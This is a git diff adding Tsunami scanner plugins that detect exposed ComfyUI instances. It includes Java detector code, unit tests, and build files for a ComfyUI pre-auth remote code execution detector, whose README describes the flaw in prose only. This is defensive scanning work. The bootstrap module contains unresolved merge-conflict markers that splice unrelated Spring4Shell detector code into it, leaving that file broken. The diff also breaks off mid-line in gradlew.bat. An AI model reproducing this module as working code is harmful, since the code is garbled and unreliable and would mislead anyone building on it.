b/doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUi.java new file mode 100644 index 000000000..1894767d5 --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUi.java @@ -0,0 +1,208 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.exposed; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Instant; +import java.util.regex.Pattern; +import javax.inject.Inject; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; + +/** A Tsunami plugin that detects an exposed instance of ComfyUI. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "ComfyUI_exposedUI", + version = "0.1", + description = "This plugin detects an exposed instance of ComfyUI.", + author = "Savino Sisco (savio@doyensec.com), Leonardo Giovannini (leonardo@doyensec.com)", + bootstrapModule = ComfyUiExposedUiBootstrapModule.class) +public final class ComfyUiExposedUi implements VulnDetector { + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; + + @VisibleForTesting static final String VULNERABILITY_REPORT_TITLE = "ComfyUI Exposed UI"; + + static final String VULNERABILITY_REPORT_DESCRIPTION = + "The scanner detected an exposed ComfyUI instance."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_RECOMMENDATION = "Segregate the ComfyUI instance."; + + @VisibleForTesting static final String MANAGER_VERSION_ENDPOINT = "api/manager/version"; + + @VisibleForTesting static final String STATS_ENDPOINT = "api/system_stats"; + + @VisibleForTesting + static final Pattern VERSION_PATTERN = Pattern.compile("^V\\d+\\.\\d+\\.\\d+$"); + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final Clock utcClock; + private final HttpClient httpClient; + + @Inject + ComfyUiExposedUi(@UtcClock Clock utcClock, HttpClient httpClient) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue("COMFYUI_EXPOSED_UI")) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + + // This is the main entry point of VulnDetector. + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("ComfyUI Exposed UI starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isComfyUi) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + /* + * Fingerprint phase for ComfyUI. + * This detects the service and the version + */ + private boolean isComfyUi(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + try { + // Check web page title first + String targetUri = rootUrl; + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + HttpResponse response; + response = this.httpClient.send(req, networkService); + Document doc = Jsoup.parse(response.bodyString().get()); + String title = doc.title(); + if (!title.contains("ComfyUI")) { + return false; + } + + // Check the system_stats endpoint + targetUri = rootUrl + STATS_ENDPOINT; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + response = this.httpClient.send(req, networkService); + // Check if devices[0]["name"] is present + try { + if (response.bodyJson().isEmpty() + || response + .bodyJson() + .get() + .getAsJsonObject() + .get("devices") + .getAsJsonArray() + .get(0) + .getAsJsonObject() + .get("name") + .getAsString() + .isEmpty()) { + return false; + } + } catch (NullPointerException | IllegalStateException | IndexOutOfBoundsException e) { + return false; + } + logger.atInfo().log("ComfyUI Detected. Attempting to find version numbers."); + + // Check if the Comfy version is available (not present on older versions) + try { + String comfyUiVersion = + response + .bodyJson() + .get() + .getAsJsonObject() + .get("system") + .getAsJsonObject() + .get("comfyui_version") + .getAsString(); + if (!comfyUiVersion.isEmpty()) { + logger.atInfo().log("ComfyUI version: %s", comfyUiVersion); + } + } catch (NullPointerException | IllegalStateException | IndexOutOfBoundsException e) { + // Do nothing, it's ok if the version is not there + } + + // Checking if ComfyUI Manager is available (not present on older versions) + targetUri = rootUrl + MANAGER_VERSION_ENDPOINT; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + response = this.httpClient.send(req, networkService); + if (response.status() == HttpStatus.OK + && VERSION_PATTERN.matcher(response.bodyString().orElse("")).find()) { + logger.atInfo().log("ComfyUI Manager version: %s", response.bodyString().get()); + } + } catch (IOException e) { + return false; + } + return true; + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiBootstrapModule.java b/doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiBootstrapModule.java new file mode 100644 index 000000000..ac37a2fc3 --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiBootstrapModule.java @@ -0,0 +1,50 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +<<<<<<<< HEAD:doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiBootstrapModule.java + +package com.google.tsunami.plugins.detectors.comfyui.exposed; +======== +package com.google.tsunami.plugins.detectors.spring4shell; +>>>>>>>> 5fb4bb5c946155330a4b0971e5d9244b80cfcea2:community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorBootstrapModule.java + +import static com.google.tsunami.plugins.detectors.spring4shell.Annotations.DelayBetweenRequests; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; + +<<<<<<<< HEAD:doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiBootstrapModule.java +/** A Guice module that bootstraps the {@link ComfyUiExposedUi}. */ +public final class ComfyUiExposedUiBootstrapModule extends PluginBootstrapModule { +======== +/** A {@link PluginBootstrapModule} for {@link SpringCve202222965Detector} */ +public final class SpringCve202222965DetectorBootstrapModule extends PluginBootstrapModule { +>>>>>>>> 5fb4bb5c946155330a4b0971e5d9244b80cfcea2:community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorBootstrapModule.java + + @Override + protected void configurePlugin() { + registerPlugin(ComfyUiExposedUi.class); + } + + @Provides + @DelayBetweenRequests + int provideDelayBetweenRequests(SpringCve202222965DetectorConfigs configs) { + if (configs.delayBetweenRequests == -1) { + return 3; + } + + return configs.delayBetweenRequests; + } +} diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/src/test/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiTest.java b/doyensec/detectors/comfyui_exposed_ui_detector/src/test/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiTest.java new file mode 100644 index 000000000..b6f87386c --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/src/test/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUiTest.java @@ -0,0 +1,186 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.exposed; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.comfyui.exposed.ComfyUiExposedUi.MANAGER_VERSION_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.exposed.ComfyUiExposedUi.STATS_ENDPOINT; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link ComfyUiExposedUi}. */ +@RunWith(JUnit4.class) +public final class ComfyUiExposedUiTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2025-03-03T11:30:00.00Z")); + + @Bind(lazy = true) + private final int oobSleepDuration = 0; + + @Inject private ComfyUiExposedUi detector; + private MockWebServer mockWebServer = new MockWebServer(); + + private static final String VERSION = "V3.25.1"; + + private static final String VULNERABLE_RESPONSE = + "{\"system\": {\"os\": \"posix\", \"ram_total\": 8337022976, \"ram_free\":" + + " 7153561600, \"comfyui_version\": \"0.3.15\", \"python_version\": \"3.10.14" + + " (main, Mar 21 2024, 16:24:04) [GCC 11.2.0]\", \"pytorch_version\": \"2.3.0\"," + + " \"embedded_python\": false, \"argv\": [\"main.py\", \"--listen\", \"--port\"," + + " \"8188\", \"--cpu\"]}, \"devices\": [{\"name\": \"cpu\", \"type\": \"cpu\"," + + " \"index\": null, \"vram_total\": 8337022976, \"vram_free\": 7153561600," + + " \"torch_vram_total\": 8337022976, \"torch_vram_free\": 7153561600}]}"; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + } + + @After + public void tearDown() throws Exception { + mockWebServer.shutdown(); + } + + private void createInjector() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + Modules.override(new ComfyUiExposedUiBootstrapModule()).with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerable_reportsCriticalVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = generateDetectionReport(detector, targetInfo, httpServices.get(0)); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); + } + + @Test + public void detect_whenOutdatedAndVulnerable_reportsCriticalVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = generateDetectionReport(detector, targetInfo, httpServices.get(0)); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); + } + + private DetectionReport generateDetectionReport( + ComfyUiExposedUi detector, TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build(); + } + + private ImmutableList mockWebServerSetup(boolean isOutdated) throws IOException { + mockWebServer.setDispatcher(new EndpointDispatcher(isOutdated)); + mockWebServer.start(); + return ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + } + + static final class EndpointDispatcher extends Dispatcher { + + public EndpointDispatcher(boolean isOutdated) { + this.isOutdated = isOutdated; + } + + private final boolean isOutdated; + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + if (recordedRequest.getMethod().equals("GET") && recordedRequest.getPath().equals("/")) { + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("ComfyUI"); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + MANAGER_VERSION_ENDPOINT)) { + if (isOutdated) { + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()).setBody(""); + } else { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(VERSION); + } + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + STATS_ENDPOINT)) { + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody(VULNERABLE_RESPONSE); + } else { + // Anything else, return a 404 + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); + } + } + } +} diff --git a/doyensec/detectors/comfyui_preauth_rce/README.md b/doyensec/detectors/comfyui_preauth_rce/README.md new file mode 100644 index 000000000..85342b3d9 --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/README.md @@ -0,0 +1,19 @@ +# Pre-Auth Remote Code Execution in ComfyUI + +## Description + +In ComfyUI it's possible to clone repository. After the cloning process, certain +files on the repository are executed. There is a pitfall in the entire flow, +since the repository URL supplied by the user is checked with an allow list, +but another parameter is used in order to clone the repo. This can lead to +remote code execution. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/comfyui_preauth_rce/build.gradle b/doyensec/detectors/comfyui_preauth_rce/build.gradle new file mode 100644 index 000000000..4d037eacd --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/build.gradle @@ -0,0 +1,69 @@ +plugins { + id 'java-library' +} + +description = 'ComfyUI Manager Remote Code Execution' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation 'org.jsoup:jsoup:1.9.2' + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/doyensec/detectors/comfyui_preauth_rce/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/comfyui_preauth_rce/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/doyensec/detectors/comfyui_preauth_rce/gradle/wrapper/gradle-wrapper.jar differ diff --git a/doyensec/detectors/comfyui_preauth_rce/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/comfyui_preauth_rce/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..ca025c83a --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/doyensec/detectors/comfyui_preauth_rce/gradlew b/doyensec/detectors/comfyui_preauth_rce/gradlew new file mode 100755 index 000000000..23d15a936 --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/gradlew @@ -0,0 +1,251 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH="\\\"\\\"" + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/doyensec/detectors/comfyui_preauth_rce/gradlew.bat b/doyensec/detectors/comfyui_preauth_rce/gradlew.bat new file mode 100644 index 000000000..db3a6ac20 --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH= + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar 